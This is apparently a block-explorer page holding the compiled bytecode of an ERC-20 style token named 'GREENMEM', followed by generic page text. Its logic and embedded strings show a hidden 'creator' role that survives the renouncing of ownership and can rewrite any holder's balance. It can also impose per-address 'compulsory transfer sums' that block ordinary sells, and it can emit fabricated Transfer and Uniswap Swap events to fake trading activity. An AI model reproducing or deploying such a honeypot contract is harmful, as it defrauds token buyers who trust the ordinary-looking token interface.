6122f5565b9050919050565b600060408201905061234d60008301856116d4565b61235a60208301846116d4565b939250505056fea2646970667358221220e9352ac90fb48c0144a0b365b3cad217ecba6b9405870961cc0362cb0b3b8f1a64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61173b8261154a565b810181811067ffffffffffffffff8211171561175a57611759611703565b5b80604052505050565b600061176d6115b6565b90506117798282611732565b919050565b600067ffffffffffffffff82111561179957611798611703565b5b602082029050602081019050919050565b600080fd5b60006117c26117bd8461177e565b611763565b905080838252602082019050602084028301858111156117e5576117e46117aa565b5b835b8181101561180e57806117fa8882611613565b8452602084019350506020810190506117e7565b5050509392505050565b600082601f83011261182d5761182c6116fe565b5b813561183d8482602086016117af565b91505092915050565b600067ffffffffffffffff82111561186157611860611703565b5b602082029050602081019050919050565b600061188561188084611846565b611763565b905080838252602082019050602084028301858111156118a8576118a76117aa565b5b835b818110156118d157806118bd8882611649565b8452602084019350506020810190506118aa565b5050509392505050565b600082601f8301126118f0576118ef6116fe565b5b8135611900848260208601611872565b91505092915050565b600080600080600060a08688031215611925576119246115c0565b5b600061193388828901611613565b955050602086013567ffffffffffffffff811115611954576119536115c5565b5b61196088828901611818565b945050604086013567ffffffffffffffff811115611981576119806115c5565b5b61198d888289016118db565b935050606086013567ffffffffffffffff8111156119ae576119ad6115c5565b5b6119ba888289016118db565b92505060806119cb88828901611613565b9150509295509295909350565b6000806000606084860312156119f1576119f06115c0565b5b60006119ff86828701611613565b9350506020611a1086828701611613565b9250506040611a2186828701611649565b9150509250925092565b611a34816115ea565b82525050565b6000602082019050611a4f6000830184611a2b565b92915050565b600060ff82169050919050565b611a6b81611a55565b82525050565b6000602082019050611a866000830184611a62565b92915050565b600060208284031215611aa257611aa16115c0565b5b6000611ab084828501611613565b91505092915050565b600080fd5b60008083601f840112611ad457611ad36116fe565b5b8235905067ffffffffffffffff811115611af157611af0611ab9565b5b602083019150836020820283011115611b0d57611b0c6117aa565b5b9250929050565b600080600060408486031215611b2d57611b2c6115c0565b5b600084013567ffffffffffffffff811115611b4b57611b4a6115c5565b5b611b5786828701611abe565b93509350506020611b6a86828701611649565b9150509250925092565b60008060408385031215611b8b57611b8a6115c0565b5b600083013567ffffffffffffffff811115611ba957611ba86115c5565b5b611bb585828601611818565b9250506020611bc685828601611649565b9150509250929050565b60008060408385031215611be757611be66115c0565b5b6000611bf585828601611613565b9250506020611c0685828601611613565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c9657808604811115611c7257611c71611c10565b5b6001851615611c815780820291505b8081029050611c8f85611c3f565b9450611c56565b94509492505050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611c10565b5b8360020a915084821115611d0657611d05611c10565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611c10565b5b611d6b565b611d4e8484846001611c4c565b92509050818404811115611d6557611d64611c10565b5b81810290505b9392505050565b6000611d7d82611628565b9150611d8883611a55565b9250611db57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b6000611dc882611628565b9150611dd383611628565b9250828202611de181611628565b91508282048414831517611df857611df7611c10565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611e5d611e58611e5384611e2e565b611e38565b611628565b9050919050565b611e6d81611e42565b82525050565b6000608082019050611e8860008301876116d4565b611e956020830186611e64565b611ea26040830185611e64565b611eaf60608301846116d4565b95945050505050565b6000606082019050611ecd6000830186611a2b565b611eda6020830185611a2b565b611ee760408301846116d4565b949350505050565b611ef88161169e565b8114611f0357600080fd5b50565b600081519050611f1581611eef565b92915050565b600060208284031215611f3157611f306115c0565b5b6000611f3f84828501611f06565b91505092915050565b6000611f5382611628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f8557611f84611c10565b5b600182019050919050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc660198361150f565b9150611fd182611f90565b602082019050919050565b60006020820190508181036000830152611ff581611fb9565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061203260208361150f565b915061203d82611ffc565b602082019050919050565b6000602082019050818103600083015261206181612025565b9050919050565b600061207382611628565b915061207e83611628565b925082820390508181111561209657612095611c10565b5b92915050565b60006120a782611628565b91506120b283611628565b92508282019050808211156120ca576120c9611c10565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b600061212c602b8361150f565b9150612137826120d0565b604082019050919050565b6000602082019050818103600083015261215b8161211f565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061219860148361150f565b91506121a382612162565b602082019050919050565b600060208201905081810360008301526121c78161218b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061222a60268361150f565b9150612235826121ce565b604082019050919050565b600060208201905081810360008301526122598161221d565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612296601b8361150f565b91506122a182612260565b602082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b600061230260198361150f565b915061230d826122cc565b602082019050919050565b60006020820190508181036000830152612331816122f5565b9050919050565b600060408201905061234d60008301856116d4565b61235a60208301846116d4565b939250505056fea2646970667358221220e9352ac90fb48c0144a0b365b3cad217ecba6b9405870961cc0362cb0b3b8f1a64736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.